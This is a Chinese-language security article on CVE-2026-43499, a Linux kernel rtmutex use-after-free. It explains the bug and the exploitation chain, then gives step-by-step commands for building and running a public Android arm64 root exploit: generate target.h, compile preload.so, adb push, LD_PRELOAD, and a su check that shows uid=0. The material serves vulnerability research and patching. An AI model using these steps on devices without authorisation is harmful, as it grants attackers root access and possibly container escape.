15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的CVE-2026-43499漏洞进行漏洞分析和概念验证(PoC)

admin 2026-08-25 05:01:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了CVE-2026-43499漏洞,这是一个存在于Linux内核rtmutex子系统的Use-After-Free漏洞,影响2.6.39至7.0.x版本。漏洞源于futex优先级继承路径的代理锁回滚逻辑缺陷,攻击者可通过构造特定场景实现本地提权。文档提供了针对Android设备的PoC实现步骤,包括生成target.h和编译preload.so。建议用户尽快更新内核补丁以修复此高危漏洞。 综合评分: 86 文章分类: 漏洞分析,漏洞POC,红队,内网渗透,恶意软件


15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的 CVE-2026-43499 漏洞进行漏洞分析和概念验证 (PoC)

Ots安全

2026年7月20日 19:29 广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

  1. 漏洞本质

这是一个栈-based Use-After-Free (UAF) 漏洞,位于Linux内核的实时互斥锁(rtmutex)子系统,具体在futex优先级继承(Priority Inheritance, PI)路径的proxy-lock回滚逻辑中。漏洞编号CVE-2026-43499,CVSS评分7.8(High)。

这是一个基于栈的 Use-After-Free (UAF) 漏洞,位于 Linux 内核的实时互斥锁(rtmutex)子系统,具体在 futex 优先级继承(Priority Inheritance, PI)路径的代理锁回滚逻辑中。漏洞编号 CVE-2026-43499,CVSS 评分 7.8(高)。

  1. 根源代码位置与触发机制

核心问题出在kernel/locking/rtmutex.c的remove_waiter()函数。

在正常慢路径加锁时,remove_waiter()使用当前任务(current)进行清理,这是正确的。但在**futex_requeue()**触发的proxy-lock回滚场景中,等待者(waiter)的waiter::task 并非当前任务,代码却依然错误地对current进行操作,导致以下连锁问题:

  • 红黑树(rbtree)出队时未持有正确的waiter::task::pi_lock;
  • 未能正确清除waiter->task的pi_blocked_on指针,留下指向已释放内核栈帧的悬空指针;
  • 后续rt_mutex_adjust_prio_chain()等函数操作了错误的任务,制造出可控的UAF条件。

攻击者通过精心构造三个futex和线程优先级反转死锁场景,触发race condition,之后利用PR_SET_MM_MAP等系统调用在已释放的栈位置放置伪造的rt_mutex_waiter结构,从而获得内核指针写入原语,最终实现控制流劫持(例如覆盖inet6_protos[IPPROTO_UDP]函数表)并完成Root提权。

  1. 影响范围与严重性引入时间:2011年Linux 2.6.39(距今15年)。

影响版本:几乎所有未打补丁的主流内核(2.6.39 ~ 7.0.x,CONFIG_FUTEX_PI开启时)。

攻击条件:无需特殊权限,本地普通用户即可触发;容器内也能直接逃逸到宿主机。

实际危害:稳定率可达97%,几秒内完成提权,已有公开PoC(包括针对小米Android arm64设备的LD_PRELOAD实现)。

项目地址:

https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis

这是一个用于CVE-2026-43499的Android arm64本地提权装备项目。

项目会根据目标设备的boot.img和配置文件信息生成target.h,然后编译出对应的preload.so。

说明:本项目是通用设备框架,不绑定单一机型。实际是否可用,以generate_target.py能否成功生成target.h以及真机测试结果相似。

项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

依赖

Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Windows下推荐使用:

MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

MSYS2里安装make:

pacman -S make coreutils

准备文件

你需要准备:

boot.img
profile.json

profile 示例:

{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

profile 里的这两个地址:

p0_phys_offset
p0_kernel_phys_load

可以在已经 Root、且与目标 boot.img 同固件的手机上运行脚本得到:

python3 detect_offset.py

Windows 也可以:

python detect_offset.py

使用步骤

  1. 进入项目目录

Linux / macOS:

cd PATH/project

Windows MSYS2 示例:

cd PATH/CVE-2026-43499-Poc-Analysis-main
  1. 设置 NDK 路径

Linux / macOS 示例:

export ANDROID_NDK_HOME=PATH/android-ndk

Windows MSYS2 示例:

export ANDROID_NDK_HOME=PATH/android-ndk-r29
  1. 生成 target.h
python generate_target.py \
  --boot boot.img \
  --profileprofile.json \
  -osource/src/target.h

或者 CMD 使用 :

python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h

如果提示找不到 llvm-objdump,手动指定路径:

python generate_target.py \
  --boot boot.img \
  --profileprofile.json \
  -osource/src/target.h \
  --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

或者 CMD 使用:

python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

成功后会看到类似:

生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
  1. 编译 preload.so

Linux / macOS:

make -C source clean preload

Windows MSYS2:

make -C source clean preload NDK_PREBUILT=windows-x86_64

成功后会生成:

source/build/bin/preload.so
  1. 推送到设备并运行
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell"chmod 0644 /data/local/tmp/preload.so"
adb shell"LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"

验证:

adb shell"/data/local/tmp/su -c 'id'"

成功时一般会看到:

uid=0(root) gid=0(root)

Windows MSYS2 一键流程

按你的路径示例:

cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64

最终文件:

source/build/bin/preload.so

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的 CVE-2026-43499 漏洞进行漏洞分析和概念验证 (PoC)》

评论:0   参与:  0